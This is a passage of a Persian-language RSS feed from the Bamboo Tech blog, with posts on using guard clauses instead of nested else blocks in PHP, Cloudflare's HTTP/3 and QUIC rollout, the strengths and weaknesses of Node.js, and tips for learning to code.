                <link>https://virgool.io/@bambootech/%D8%AF%D8%B1-%D8%A8%D8%B1%D9%86%D8%A7%D9%85%D9%87-%D8%AE%D9%88%D8%AF-%D8%AF%DB%8C%DA%AF%D8%B1-%D8%A7%D8%B2-else-%D8%A7%D8%B3%D8%AA%D9%81%D8%A7%D8%AF%D9%87-%D9%86%DA%A9%D9%86%DB%8C%D8%AF-pg8wmzees0ic</link>
                <description>یکی از اشتباهاتی که هنگام شروع به کار کردم ، استفاده بیش از حد از کلمه کلیدی else هنگام نوشتن شرایط است. این موضوعی است که بسیاری از افراد را نیز طبق کد خود انجام می دهند ، بنابراین فکر می کردم باید کمی به موضوع توجه کنم.سلب مسئولیت؛ نظر من در مورد این موضوع صرفاً شخصی است.در برخی شرایط ، شما ممکن است نتوانید این نوع رویکرد را بر روی کد خود اعمال کنید. گاهی اوقات ، راه حل استفاده از کلمه کلیدی else است. این پست برای آگاهی دادن به مردم از یک روش جایگزین برای منطق ساختاری است.گارد شرط ها به گفته ویکی پدیا ، بررسی پیش شرط های یکپارچگی است که برای جلوگیری از خطا در هنگام اجرا استفاده می شود. ما بررسی پیش شرط های یکپارچگی (در ابتدای کد خود) را انجام می دهیم تا از بروز هرگونه اشکال در جریان اصلی منطق خودداری کنیم.در جریان کامل، ما می خواهیم منطق اصلی برنامه ما پس از همه بررسی های اعتبار سنجی شده  باشد.بیایید تصور کنیم که ما وب سایتی را نصب کرده ایم که در آن منطقه حق خرید   بیمه داریم که فقط به پرداخت مشتری محدود می شود و فقط بعد از ساعت 12 عصر باز می شود.&lt;?php
if ($user != null) {
    if (time() &gt;= strtotime(&#039;12 pm&#039;)) {
            if ($user-&gt;hasAccess(UserType.PREMIUM)) {
                    if ($store-&gt;hasItemsInStock()) {
                            // the content a premium user user should be able to see when the store is in stock 
                                // after 12pm.
                            } else {
                            return &#039;We are completely sold out.&#039;;
                            }
                    } else {
                    return &#039;You do not have premium access to our website.&#039;;
                    }
            } else {
            return &#039;This section is not opened before 12PM&#039;;
            }
    } else {
    return &#039;You are not signed in.&#039;;
    }در یک برنامه واقعی ، ما به احتمال زیاد نوعی استثنا را بر می گردانیم.در حالی که این رویکردی برای عبور از طریق شرطی است ، حتی اگر فقط تعداد کمی از آنها را دنبال کنیم ، کلمات کلیدی دیگر دشوار می شوند.این یک مثال بی اهمیت از منطق شرطی است ، اما در حالتی واقعی ، تصور کنید که سعی در پیمایش در یک طبقه دارید که منطق بسیار پیچیده تری دارد. برنامه نویسی از طریق این استاندارد به نظر من پایدار نیست و باید بهتر عمل کنیم.با گارد شرط ها،  می خواهیم این چارچوب را دنبال کنیم:&lt;?php
if (condition1()) {
    return ...;
    }
if (condition2()) {
    return ...;
    }
// Input is valid.
doSomething();
با در نظر گرفتن این چارچوب ، می توانیم کد قبلی را مانند زیر بازسازی کنیم:&lt;?php
if ($user == null) {
    return &#039;You are not signed in.&#039;;
    }
if (time() &lt; strtotime(&#039;12 pm&#039;)) { 
    return &#039;This section is not opened before 12PM&#039;;
    }
if (!$user-&gt;hasAccess(UserType.PREMIUM)) {
    return &#039;You do not have premium access to our website&#039;;
    }
if (!$store-&gt;hasItemsInStock()) {
    return &#039;We are completely sold out.&#039;;
    }
// the content a premium user user should be able to see when the store is in stock 
// after 12pm.
درگارد شرط ها  ، ما معمولاً عبارت boolean  را به آنچه می خواهیم ثابت كنیم ، معكوس می كنیم. اگر می خواهیم کاربر برای مشاهده این صفحه به سیستم وارد شود ، می خواهیم بررسی کنیم آیا آنها به سیستم وارد نشده اند یا خیر.این رویکرد همان جریان منطق دقیقی را به خود جلب می کند ، اما به نظر من و دیگران نیز ، این رویکرد بسیار بهتر از  هنگام مقابله با منطق شرطی است.نتیجههنگام کد نویسی ، همیشه باید این سؤال را در ذهن داشته باشیم: &quot;حفظ 6 ماه از این کار چقدر آسان خواهد بود؟&quot;ایجاد راه حل برای یک مشکل در زمان فعلی بسیار عالی است. اما در آینده چطور؟ ساختن نرم افزار با ذهن در آینده احمقانه نیست.استفاده از گارد شرط ها باعث می شود تا تیم خود در آینده برای موفقیت در مواقعی که الزامات جدید به برنامه شما افزوده شود ، موفقیت کسب کند.</description>
                <category>Bamboo Tech</category>
                <author>Bamboo Tech</author>
                <pubDate>Thu, 31 Oct 2019 18:56:06 +0330</pubDate>
            </item>
                    <item>
                <title>گذشته ، حال و آینده HTTP / 3</title>
                <link>https://virgool.io/@bambootech/%DA%AF%D8%B0%D8%B4%D8%AA%D9%87-%D8%AD%D8%A7%D9%84-%D9%88-%D8%A2%DB%8C%D9%86%D8%AF%D9%87-http-3-ayhweowfoefb</link>
                <description> ما پشتیبانی اولیه را از QUIC و HTTP / 3 (یا &quot;HTTP بیش از QUIC&quot; که در آن زمان مشخص بود) اعلام کردیم ، استاندارد جدید وب است که امکان اتصال سریعتر ، مطمئن تر و ایمن تر به  وب را فراهم می کند. مانند وب سایت ها و API ها. ما همچنین به مشتریان خود اجازه می دهیم تا به محض دسترسی ، به لیست انتظار بپیوندند تا QUIC و HTTP / 3 را امتحان کننداز آن زمان ، ما با همتایان صنعت از طریق کارگروه مهندسی اینترنت ، از جمله Google Chrome و Mozilla Firefox ، همکاری کرده ایم تا داکیومنت های HTTP / 3 و QUIC را تکرار کنیم . به موازات بالغ شدن داکیومنت ها ، ما در زمینه بهبود پشتیبانی در شبکه خود نیز کار کرده ایم.اکنون خوشحالیم که اعلام کردیم که پشتیبانی QUIC و HTTP / 3 در شبکه Cloudflare edge وجود دارد. ما از اینکه Google Chrome و Mozilla Firefox ، دو فروشنده پیشرو مرورگر و شرکای ما در تلاش برای ایجاد سریعتر و مطمئن تر وب برای همه هستند ، بسیار خوشحالیم.به گفته Ryan Ryan Hamilton ، مهندس نرم افزار Staff در Google ، &quot;HTTP / 3 باید وب را برای همه بهتر کند. تیم های Chrome و Cloudflare با هم همکاری کرده اند تا HTTP / 3 و QUIC را از استانداردهای نوپا به فناوریهای گسترده اتخاذ شده برای بهبود وب ببرند. مشارکت جدی بین رهبران صنعت، چیزی است که باعث می شود نوآوری های استاندارد اینترنت امکان پذیر باشد ، و ما مشتاقانه منتظر ادامه کار مشترک خود هستیم. &quot;این برای شما مشتری Cloudflare که از خدمات و شبکه edge ما استفاده می کند برای حضور شما در وب سریعتر و ایمن تر است ، چه معنایی دارد؟ هنگامی که پشتیبانی HTTP / 3 برای دامنه شما در داشبورد Cloudflare فعال شود ، مشتریان می توانند با استفاده از HTTP / 3 با وب سایت ها و API های شما ارتباط برقرار کنند. ما به طور پیوسته از مشتریان در لیست انتظار HTTP / 3 دعوت کرده ایم تا این ویژگی را فعال کنند (بنابراین از طریق ایمیل برای ما ایمیل بفرستید) و در هفته های آینده این ویژگی را در دسترس همه قرار خواهیم داد.اگر شما کاربر اینترنت با سایت ها و API ها از طریق مرورگر و سایر مشتری ها در تعامل هستید ، این اطلاعیه به چه معنی است؟ از امروز ، می توانید از Chrome Canary برای تعامل با Cloudflare و سایر سرورهای HTTP / 3 استفاده کنید. برای کسانی که به دنبال مشتری خط فرمان هستید ، curl از HTTP / 3 نیز پشتیبانی می کند. دستورالعمل استفاده از Chrome و Curl با HTTP / 3 در ادامه در این پست دنبال می کنید.The Chicken and the Eggنوآوری استانداردها در اینترنت از لحاظ تاریخی به دلیل مشکلchicken و egg دشوار بوده است: چه کسی ابتدا نیاز به پشتیبانی سرور (مانند Cloudflare یا سایر منابع بزرگ داده های پاسخ) یا پشتیبانی مشتری (مانند مرورگرها ، سیستم عامل ها و غیره) دارد؟ هر دو طرف یک اتصال باید از یک پروتکل ارتباطی جدید پشتیبانی کنند که به هیچ وجه قابل استفاده باشد.شرکتCloudflare سابقه طولانی در ایجاد استانداردهای وب را دارد ، از HTTP / 2 (نسخه HTTP قبلی HTTP / 3) گرفته تا TLS 1.3 تا مواردی مانند SNI رمزگذاری شده. ما با همکاری با سازمانهای هم اندیشی که تمایل ما برای کمک به ایجاد یک اینترنت بهتر را دارند ، معیارها را به جلو سوق داده ایم. تلاشهای ما برای انتقال HTTP / 3 به جریان اصلی هیچ تفاوتی ندارد.در طول فرآیند توسعه استانداردهای HTTP / 3 ، ما با همکاران صنعت همکاری کرده ایم تا پشتیبانی HTTP / 3 مشتری سازگار با پشتیبانی edgeخود را بسازیم و اعتبار دهیم. ما از این که Google Chrome و Curl به آن ملحق شده ایم ، بسیار هیجان زده ایم. هر دو مورد امروزه می توانند برای درخواست های Cloudflare از HTTP / 3 استفاده کنند. موزیلا فایرفاکس انتظار دارد به زودی پشتیبانی را نیز در یک نسخه شبانه ارسال کند.همه اینها را با هم جمع کنید: امروز روز خوبی برای کاربران اینترنت است. پخش گسترده HTTP / 3 به معنای تجربه سریعتر وب برای همه خواهد بود ، و پشتیبانی امروز گامی بزرگ در این راه است.مهمتر از همه ، امروز روز خوبی برای اینترنت است: Chrome ، Curl ، و Cloudflare و به زودی ، موزیلا ، با پشتیبانی آزمایشی اما کاربردی ، پشتیبانی از HTTP / 3 را در موفقیت سریع نشان می دهد که روند ایجاد استانداردهای اینترنت کار می کند. با هماهنگی کارگروه مهندسی اینترنت ، شرکای صنعت ، رقبا و سایر ذینفعان کلیدی می توانند برای تهیه استاندارد هایی که به نفع کل اینترنت باشد ، نه فقط در کلاهبرداری ها ، گردهم آیند.اریک مدیر فایرفاکس ، آن را به طور خلاصه بیان کرد: &quot;تهیه یک پروتکل جدید شبکه سخت است و گرفتن درست آن نیاز به همه دارد تا با هم همکاری کنند. در طی چند سال گذشته ، ما با Cloudflare و سایر شرکای صنعت همکاری کرده ایم تا TLS 1.3 و اکنون HTTP / 3 و QUIC را آزمایش کنیم. پشتیبانی اولیه Cloudflare از سمت سرور برای این پروتکل ها به ما کمک کرده است که عملکردهای عملیاتی را از اجرای Firefox در سمت مشتری خود خارج کنیم. ما مشتاقانه می خواهیم امنیت و عملکرد اینترنت را با هم پیش ببریم. &quot;چگونه به اینجا رسیدیم؟قبل از اینکه عمیق تر به HTTP / 3 وارد شویم ، بیایید نگاهی سریع به تکامل HTTP در طی سالها بیندازیم تا درک بهتر از HTTP / 3 را داشته باشیم.همه این موارد در سال 1996 با انتشار مشخصات HTTP / 1.0 آغاز شد و فرم اولیه سیم متنی HTTP را آنگونه که امروزه می شناسیم تعریف کرد (برای اهداف این پست وانمود می کنم HTTP / 0.9 هرگز وجود ندارد). در HTTP / 1.0 اتصال TCP جدیدی برای هر تبادل نظر درخواست / پاسخ بین مشتری و سرور ایجاد می شود ، بدین معنی که تمام درخواست ها مجازات تاخیری را متحمل می شوند زیرا عملکردهای TCP و TLS قبل از هر درخواست تکمیل می شوند.از این بدتر ، به جای ارسال سریع تمام داده های برجسته به محض برقراری اتصال ، TCP یک دوره گرم شدن بنام &quot;slow start&quot; را اعمال می کند ، که به الگوریتم کنترل تراکم TCP اجازه می دهد تا مقدار داده هایی را که می توانند در پرواز باشند تعیین کنند. در هر لحظه قبل از وقوع احتقان در مسیر شبکه ، و از جاری شدن شبکه با بسته هایی که نمی توان از آن استفاده کرد جلوگیری کنید. اما از آنجا که اتصالات جدید باید روند شروع کند را طی کنند ، آنها نمی توانند بلافاصله از همه پهنای باند شبکه موجود استفاده کنند.با بازنگری در مورد HTTP / 1.1 مشخصات HTTP ، چند سال بعد با معرفی مفهوم اتصالات &quot;keep-alive&quot; ، این مشکلات برطرف شد و به مشتریان امکان استفاده مجدد از اتصالات TCP داده می شود و بدین ترتیب هزینه برقراری اتصال اولیه را کم کرده و کند می کند. از چندین درخواست شروع کنید. اما این هیچ گلوله نقره ای نبود: در حالی که چندین درخواست می توانند یکسان باشند ، اما هنوز هم باید یکی پس از دیگری سریال شوند ، بنابراین یک مشتری و سرور می توانند تنها در هر زمان معینی برای هر اتصال ، یک درخواست / پاسخ صرافی را انجام دهند.پروتکل HTTP / 2 مشکل اصلی - استفاده ناکارآمد از یک اتصال TCP واحد را حل می کند - از آنجا که چندین درخواست / پاسخ اکنون می توانند همزمان با همان اتصال منتقل شوند. با این حال ، تمام درخواست ها و پاسخ ها به همان اندازه در از دست دادن پکت ها (به عنوان مثال به دلیل تراکم شبکه) تحت تأثیر قرار می گیرند ، حتی اگر داده های از بین رفته فقط مربوط به یک درخواست واحد باشند. این امر به این دلیل است که در حالی که لایه HTTP / 2 می تواند مبادلات مختلف HTTP را در جریانهای جداگانه تفکیک کند ، TCP هیچ اطلاعی از این انتزاع ندارد و تمام آنچه می بیند ، جریانی از بایتها است که معنی خاصی ندارند.نقش TCP این است که کل جریان بایت ها را به ترتیب صحیح ، از یک نقطه انتهایی به دیگری منتقل کند. هنگامی که یک بسته TCP حامل برخی از آن بایت ها در مسیر شبکه گم شد ، شکافی را در جریان ایجاد می کند و TCP هنگام بازگرداندن بسته آسیب دیده ، می تواند آن را پر کند. در ضمن انجام این کار ، هیچ یک از بایت های با موفقیت تحویل داده شده که از بین گمشده ها پیروی می کنند ، نمی توانند به برنامه تحویل داده شوند ، حتی اگر خودشان گم نشدند و به یک درخواست HTTP کاملاً مستقل تعلق دارند. بنابراین آنها در نهایت به تأخیر می افتند که TCP نمی داند آیا این برنامه قادر به پردازش آنها بدون بیت های گمشده است. این مشکل به عنوان &quot;انسداد خط&quot; شناخته شده است.HTTP / 3 اینجاست که HTTP / 3 به مرحله اجرا در می آید: به جای استفاده از TCP به عنوان لایه حمل و نقل برای جلسه ، از QUIC ، یک پروتکل جدید حمل و نقل اینترنتی استفاده می کند ، که از جمله موارد دیگر ، جریان ها را به عنوان شهروندان درجه یک در لایه حمل و نقل معرفی می کند. جریان های QUIC با همان اتصال QUIC به اشتراک می گذارند ، بنابراین برای ایجاد موارد جدید دیگر نیازی به دست زدن و شروع آهسته نیست ، اما جریان های QUIC بطور مستقل تحویل می شوند به طوری که در بیشتر موارد از بین رفتن بسته ای که روی یک جریان تأثیر می گذارد ، روی دیگران تأثیر نمی گذارد. این امکان پذیر است زیرا بسته های QUIC در بالای داده های UDP محصور می شوند.استفاده از UDP امکان انعطاف پذیری بسیار بیشتری را در مقایسه با TCP ایجاد می کند و پیاده سازی های QUIC را قادر می سازد تا کاملاً در فضای کاربر زندگی کنند - به روزرسانی های مربوط به پیاده سازی پروتکل با به روزرسانی سیستم عامل ها مطابق با TCP مرتبط نیست. با QUIC ، جریانهای سطح HTTP را می توان به سادگی در بالای جریانهای QUIC نقشه برداری کرد تا تمام مزایای HTTP / 2 را بدون مسدود کردن خط از آن به دست آورید.پروتوکل QUIC همچنین ترکیبی از دستی سه بعدی TCP را با استفاده از لرزش TLS 1.3 در اختیار شما قرار می دهد. ترکیب این مراحل بدان معنی است که رمزگذاری و تأیید اعتبار به صورت پیش فرض ارائه می شود ، و همچنین امکان برقراری اتصال سریعتر را فراهم می کند. به عبارت دیگر ، حتی هنگامی که یک اتصال QUIC جدید برای درخواست اولیه در یک جلسه HTTP لازم باشد ، تأخیر قبل از شروع جریان داده ها کمتر از TCP با TLS است.اما چرا فقط به جای ایجاد یک نسخه کامل جدید HTTP ، از HTTP / 2 در بالای QUIC استفاده نمی کنیم؟ از این گذشته ، HTTP / 2 ویژگی چند برابر کننده جریان را نیز ارائه می دهد. به نظر می رسد ، پیچیده تر از آن است.اگرچه صحیح است که بعضی از ویژگی های HTTP / 2 را می توان در بالای QUIC به راحتی نقشه برداری کرد ، در مورد همه آنها صادق نیست. به خصوص ، طرح فشرده سازی هدر HTTP / 2 به نام HPACK ، به شدت بستگی به نظمی دارد که در آن درخواست ها و پاسخ های مختلف HTTP به نقاط انتهایی تحویل می شود. QUIC ترتیب تحویل بایت را در جریانهای مجزا اعمال می کند ، اما سفارش در بین جریان های مختلف را تضمین نمی کند.این رفتار نیاز به ایجاد یک طرح فشرده سازی هدر HTTP جدید با نام QPACK دارد که این مشکل را برطرف می کند اما نیاز به تغییراتی در نقشه برداری HTTP دارد. علاوه بر این ، برخی از ویژگی های ارائه شده توسط HTTP / 2 (مانند کنترل جریان در هر جریان) قبلاً توسط QUIC ارائه شده است ، بنابراین آنها برای از بین بردن پیچیدگی های غیر ضروری از پروتکل ، از HTTP / 3 حذف شدند.پروتکلHTTP / 3 ، طراحی شده توسط یک کوئوی است.QUIC و HTTP / 3 استانداردهای بسیار هیجان انگیزی هستند ، وعده می دهند که بسیاری از کاستی های استانداردهای قبلی را برطرف کرده و در دوره جدیدی از عملکرد در وب را برطرف می کنند. بنابراین چگونه می توانیم از داکیومنت های استاندارد هیجان انگیز به اجرای کار برویم؟پشتیبانی QUIC و HTTP / 3 از Cloudflare با استفاده از quiche ، اجرای منبع باز خود ماست که در Rust نوشته شده است.</description>
                <category>Bamboo Tech</category>
                <author>Bamboo Tech</author>
                <pubDate>Wed, 02 Oct 2019 18:25:22 +0330</pubDate>
            </item>
                    <item>
                <title>سیر تا پیاز  Nodejs</title>
                <link>https://virgool.io/apieco/%D8%B3%DB%8C%D8%B1-%D8%AA%D8%A7-%D9%BE%DB%8C%D8%A7%D8%B2-%D9%81%D8%B1%DB%8C%D9%85%D9%88%D9%88%D8%B1%DA%A9-nodejs-r9yubv89uwx5</link>
                <description>ممکنه در مورد Node.js چیزی شنیده باشین ، اما این چیه ؟ به چه درد می‌خوره ؟ چه وقت باید از آن استفاده کنیم ؟ Node.js عمدتا ً به عنوان یک سرور وب backend استفاده می‌شه که API رو در صفحه اول خود قرار می‌ده و می‌تونه با اون ارتباط برقرار کنه . یک برنامه کاربردی می‌تونه کارهایی مثل : باز کردن و  نوشتن فایل ها  روی سرور رو انجام بده .افزودن ، حذف و دریافت داده‌ها از یک پایگاه‌داده .رسیدگی به پیام‌های Real time  از کاربران متعدد برای برنامه‌های کاربردی مثل HTML۵ گیم های مختلف یا چت روم ها .و خیلی بیشتر …اصلا Nodejs چیه؟یک محیط سریع، سبک وسمت  سرور هستش که آزاده ، روی پلتفورم های مختلف اجرا می‌شه و از جاوا اسکریپت استفاده می‌کنه. برای اینکه بفهمیم Node.js چطور به اینجا میاد، میخوام  که شما رو از طریق درس تاریخ راهنمایی کوچیکی  بکنم.در آغاز … در روزهای اولیه اینترنت یک پروتکل عمومی بنام HTTP به دنیا اومد. خیلی زود بعد اون، مرورگرهای وب سایت‌هایی مانند Netscape  وجود داشتند که از این پروتکل برای نمایش صفحات وب استفاده کردند. این صفحات با طراحی بد، خیلی ساده بودن، اما یک انقلاب بود، چون مردم می‌تونستند صفحات رو با اطلاعات ایجاد کنند. سپس این صفحات در دسترس مردم سراسر جهان قرار گرفت.اما همانطور که می‌دونیم، تکنولوژی به جلو پیش میره و به زودی صفحات وب استاتیک  و خسته‌کننده کافی نیستند.صفحات وب داینامیکبا جاوااسکریپت میتونید  برنامه‌هایی رو ایجاد کنید که در مرورگر اجرا می‌شوند. لازم نیست دانلود کنید, نصب کنید, فقط در آدرس تایپ کنید و ببینید .بعد از اون, می‌تونید ایمیل‌های خودتونو  روی وب بخونید, وضعیت مالی خودتونو  حفظ کنید و به صورت آنلاین خرید کنید.AJAXقبلا ً، هنگام دریافت داده‌ها از یک سرور ، باید کل صفحه رو باز کنید . این به معنای تصاویر ، برچسب‌هایHTML ، همه چیز است. اغلب دوست دارید بخشی از صفحه خودتونو  باز  کنید .با AJAX که مخفف JavaScript Asynchronous و XML است میشه  این مشکل رو حل کرد . با AJAX شما می‌تونید فقط داده‌ها را از سرور دریافت کنید، و به طور داینامیک اطلاعات رو در صفحه با برچسب HTML و قالب‌بندی وارد کنید و تعداد کمتری روی پهنای باند وارد کنید .گوگل کروممردم تو گوگل هنوز فکر می‌کردند که وب کند است . اونا یک مرورگر وب جدید به نام کروم رو منتشر کردند .چیزی که بیشتر انقلابی در مورد این مرورگر بود این بود که اونا موتور جدیدی جاوا اسکریپت را از نو ساختند که آن را &quot; v8 &quot; نامیدند . این موتور در مقایسه با موتورهای دیگر بسیار بهینه بود . موتور سیاه‌رنگ به این دلیل سریع است که جاوا اسکریپت رو قبل از اجرای آن مستقیما ً به کد ماشین کامپایل می‌کند  . علاوه بر این , کد تدوین‌شده در طول زمان اجرا بهینه شده‌است .موتور جاوا اسکریپت V8و Node.jsدر سال ۲۰۰۹ ، Ryan Dahl با استفاده از موتور v8 جاوا اسکریپت ، ایده استفاده از جاوا اسکریپت روی سرور را داشت . او هم همین کار رو  کرد . او یک لایه در اطراف موتور JavaScript ایجاد کرد تا روی سرور کار کند و اونو Node.js نامید .فواید استفاده از Node.js چیه؟جاوا اسکریپت میتونه روی کلاینت و سرور استفاده شود .این یک مزیت مهم برای شرکت‌ها است چون اونا می‌تونند از تکنولوژی قبل از آن استفاده کنند . الان توسعه دهندگان front end   قادر به توسعه backend خیلی ساده و برعکس هستند .اغلب وقتی روی فرانت کار می‌کنید ، ممکنه به چیزی از بک اند نیاز داشته باشید تا کار خودتونو  تمام کنید . اگر شرکت شما فقط توسعه دهندگان backend رو به زبانی اختصاص داده‌است که شما درک نمی‌کنید ، ممکنه لازم باشد از اونا بخواهید اونو  اجرا کنند و امیدوارند که زیاد طول نکشد .با استفاده از این فرصت برای توسعه  هم بک اند و هم فرانت ، سرعت رشد زمان را افزایش خواهد داد . تعجبی نداره که بسیاری از شرکت‌ها به سمت Node.js میروند .فریموورک Nodejs می‌تونه تعداد زیادی از کاربران Real-time  رو کنترل کنه سرور های  سنتی اغلب فرآیندهای جدیدی برای هر اتصال کاربر ایجاد می‌کنند . اگر هزاران کاربر داشته باشید که همزمان متصل شوند ، استفاده از حافظه از سقف مجاز  عبور خواهد کرد .فریموورک Nodejs در یک رشته واحد اجرا می‌شود . این به این معنی هستش که زمانی که سرور کد رو اجرا می‌کنه، این باید قبل از اجرای دیگر اجرا شود . با این حال ، این تنها برای کد بکار می‌رود که کارها را مانند محاسبات ، و غیره انجام می‌دهد . این به این معنی است که وقتی Nodejs یک درخواست پایگاه‌داده را انجام می‌دهد ، کد دیگر می‌تواند در این فاصله اجرا شود . زمانی که داده‌ها از پایگاه‌داده آورده می‌شوند ، همچنان روی یک تابع callback کار می‌کند .این حلقه event است که این event های  I / O را مدیریت می‌کند و آن callbacks را باز می‌گرداند . این حلقه event به این دلیل است که چرا Nodejs  رو “event-driven” میگویند  و همچنین   asynchronous I/O call ها  ، چرا Nodejs رو non-blocking میگوندمدیریت بسته Nodejsفریموورک Nodejs سیستم مدیریت بسته خودشو  داره . این پر از صدها هزار کتابخانه جاوا اسکریپت است . این کتابخانه‌ها رو می‌توان در frontend و backend استفاده کرد . این استاندارد صنعت چاپ و کسب کتابخانه‌ها است .نکته مهم این است که شما می‌تونید به راحتی بسته‌های جدید رو  از ابزار فرمان نصب کنید ویا  به روز رسانی کنید  . هنگام نصب بسته‌ها به پروژه شما به پوشه موسوم به &quot; node _ modules &quot; و اطلاعات درباره بسته‌های شما که در فایل package.json ذخیره می‌شوند ، می‌رود . زمانی که پروژه را به یک مخزن مانند Github قرار می‌دهید ، لازم نیست فایل‌های کتابخانه رو نیز در نظر بگیرید . فقط فایل package.json ضروری است . زمانی که کاربران پروژه Github را کپی می‌کنند ، تنها کاری که باید انجام دهند این است که &quot; install npm &quot; را اجرا کنند ، و تمام بسته‌ها از فایل package.json نصب می‌شوند .سریع با استفاده از منابع کمهمانطور که قبلاً اشاره کردم ،Node.jsبه صورت   event - driven و non - blocking است . از آنجا که نیازی به ایجاد فرایندها یا رشته‌های متعدد نیست ، تا زمانی که منطق زیاد نیست ، آن را با استفاده از منابع بسیار پایین سریع می‌سازد .اشکالات استفاده از Nodejsچیست ?در سرور از جاوا اسکریپت استفاده می شودمن قبلاً اشاره کردم که اجرای جاوا اسکریپت روی frontend  و backend  یک مزیت بزرگ است. اما جاوا اسکریپت به تنهایی مستعد خطا است.زبان‌های Backend مانند C # از انواع  استفاده می‌کنند و کد قبل از اینکه بتواند اجرا شود جمع‌آوری می‌شود. این روش شما رو از اشتباه‌ات در طول توسعه آگاه خواهد کرد. از آنجا که جاوااسکریپت انواع خاصی ندارد و به همان ترتیب کامپایل نمی‌شود، شما اغلب در طول زمان اجرا یک سورپرایز ناخوشایند خواهید داشت. :(با این حال راه‌هایی برای مبارزه با این مسائل وجود دارد. چیزی مانند typescript می‌تواند به جای جاوا اسکریپت به کار رود. typescript عمدتاً با ویژگی‌های اضافی جاوا اسکریپت است، مانند ارائه نوع چک کردن به کد شما. ابزارهای linting نیز وجود دارند که می‌توانند اشتباهات رو در برنامه جاوا اسکریپت شما اعلام کنند.Nested callback hellفریموورک Nodejs زمانی که عملیات I / O را انجام می‌دهد به شدت وابسته به callbacks است. تعداد بسیار بیشتری از عملیات O / O روی backend  در مقایسه با frontend  وجود دارد. یک مساله مشترک که می‌تواند به آن برسد nested callback hell است. این زمانی است که شما یک تماس غیر همزمان را انجام می‌دهید که به نوبه خود یک callback را بر می‌گرداند، که به نوبه خود عمل I / O را انجام می‌دهد، که callback دیگر را بر می‌گرداند و غیره.این ممکن است منجر به یک کد نامرتب با callbacks که در آن چه در اواخر شبیه یک هرم به نظر می‌رسد منجر شود. اگر این اتفاق بیفتد، خواندن کد شما مشکل خواهد بود و رسیدگی به خطا می‌تواند کاملاً به هم بریزد.خوشبختانه، با کمی کدگذاری هوشمندانه، هیچ مشکلی برای اجتناب از این مساله وجود ندارد.تعداد زیاد بسته هاسیستم مدیریت بسته Nodejs عالی است. اما  با وجود زیاد بودن تعداد بسته‌ها، گم شدن آسان است.اگر نمی‌دانید به دنبال چه چیزی هستید، ممکن است سخت باشد که آنچه می‌خواهید را به دست آورید. بسته‌های بسیاری وجود دارند که کارهای مشابه انجام می‌دهند و هیچ سیستم درجه‌بندی وجود ندارد که به شما کمک می‌کند بسته‌های کیفیت را پیدا کنید.بعضی از بسته‌ها به اندازه شما بالغ نیستند. این ممکن است منجر به اشکالات ناخواسته و توابع گم‌شده شود.اما از طرف دیگر، این چیزی است که در مورد این سیستم باز بسیار عالی است. کتابخانه غول‌پیکر برای همه باز است!روی کارهای متمرکز پردازنده خوب کار نمی‌کنداز آنجایی که Nodejs به صورت single threadedهست  , کار زیادی در کارهای متمرکز پردازش مرکزی ندارد . اگرچه عملیات‌های i / o غیرهمزمان هستند , اجرای کد ساده نیست . بنابراین اگر کد شما محاسبات سنگینی انجام دهد , پس Nodejs ممکن است انتخاب بهینه نباشد چون بعد thread شما را مسدود خواهد کرد .نتیجه‌گیریاگر شما به یک پسانه نیاز دارید که می‌تواند بسیاری از کاربران را با منطق ساده اداره کند، Node.js یک انتخاب عالی است. استفاده از منابع شما در سرورها بسیار پایین خواهد بود، که هزینه‌های server  را کاهش می‌دهد.از طرف دیگر، اگر backend شما محاسبات سنگین مانند پردازش تصویر و یا شبیه‌سازی انجام دهد، باید به جای دیگری نگاه کنید. Node.js در عملیات I / O غیر همزمان هستند، اما در کد جاوا اسکریپت شما نیستند.</description>
                <category>Bamboo Tech</category>
                <author>Bamboo Tech</author>
                <pubDate>Wed, 18 Sep 2019 20:02:09 +0430</pubDate>
            </item>
                    <item>
                <title>10 نکته عملی برای یادگیری سریعتر کد نویسی</title>
                <link>https://virgool.io/@bambootech/10-%D9%86%DA%A9%D8%AA%D9%87-%D8%B9%D9%85%D9%84%DB%8C-%D8%A8%D8%B1%D8%A7%DB%8C-%DB%8C%D8%A7%D8%AF%DA%AF%DB%8C%D8%B1%DB%8C-%D8%B3%D8%B1%DB%8C%D8%B9%D8%AA%D8%B1-%DA%A9%D8%AF-%D9%86%D9%88%DB%8C%D8%B3%DB%8C-dldg6nkrkzvp</link>
                <description>اگر در حال یادگیری برنامه نویسی و توسعه وب هستید ،بهتون  تبریک میگم! مهارت های دیجیتالی در برنامه نویسی یک سرمایه با ارزش برای آینده شما در دنیای شگفت انگیز و پر فناوری است. برای کمک به استفاده بیشتر از این تجربه شگفت انگیز ، من 10 نکته آسان برای یادگیری سریع کد نویسی را براتون قرار میدم.همه نکات توصیه های ارزشمندی است که کاش یک نفر وقتی برای اولین بار شروع به یادگیری  کد نویسی کردم به من گفته بود . هیچکدام از اینها علوم موشکی نیست ، اما هرکدام از آنها به شما کمک می کنند تا سریعتر یاد بگیرین و تمرکزتون رو بالا ببرین.1- مبانی علوم کامپیوتر را بیاموزید:این موضوع موضوعی است که من بهش خیلی علاقه دارم. به همین دلیل هست که این اولین نکته من برای یادگیری کد نویسی هست.وقتی برای اولین بار یادگیری نحوه کد نویسی رو شروع کردید ، باید بدونید رایانه ها چه کاری براتون انجام می دهند. این چیزی است که علوم رایانه بهش مربوط میشه ، در حالی که کدنویسی  در مورد ساخت رایانه است که کارهای عالی رو انجام می دهد.یادگیری اصول اولیه علوم رایانه  شما رو با کلیات اصولی نحوه کار رایانه ها آشنا بکند. نیازی نیست که در مورد مهارت ها نگران باشید ، فقط روی اصول اولیه تمرکز کنید.هنگامی که مفاهیم اصلی رو درک می کنید ، می تونید کدنویسی  رو خیلی سریعتر یادبگیرین. این  به این  دلیل هست که شما در حال حاضر با بسیاری از اصطلاحات پیرامون برنامه نویسی و توسعه وب آشنا خواهید شد.2-زمان خود را بگیرید:مانند یادگیری به طور کلی ، یادگیری  برنامه نویسی یک شبه اتفاق نمی افتد.مردم اغلب از من سؤال می کنند که فکر می کنم برای موفقیت در یادگیری برنامه نویسی و توسعه وب چه اهمیتی دارد. جواب من همیشه یکیه: &quot;صبور بودن&quot;.مغزتون به سادگی به زمان نیاز داره تا هرچی که یاد می گیرین پردازش کنینبا این حال ، مهم اینه که به ذهن خود اجازه ندید استراحت های خیلی طولانی داشته باشد. بنابراین ، به یادتون باشه که هر روز تمرین کنید ، حتی  روزهایی که ترجیح می دید اون روز رو بکشید.مطمئناً ، هر از گاهی ، روزهایی خواهید داشت که احساس نمی کنید کدی بنویسید یا روی پروژه های خود کار می کنید. در این حالت ، به سادگی مواردی که یاد گرفته این رو برای تجدید حافظه خود ، مرور و تکرار کنید.3-از 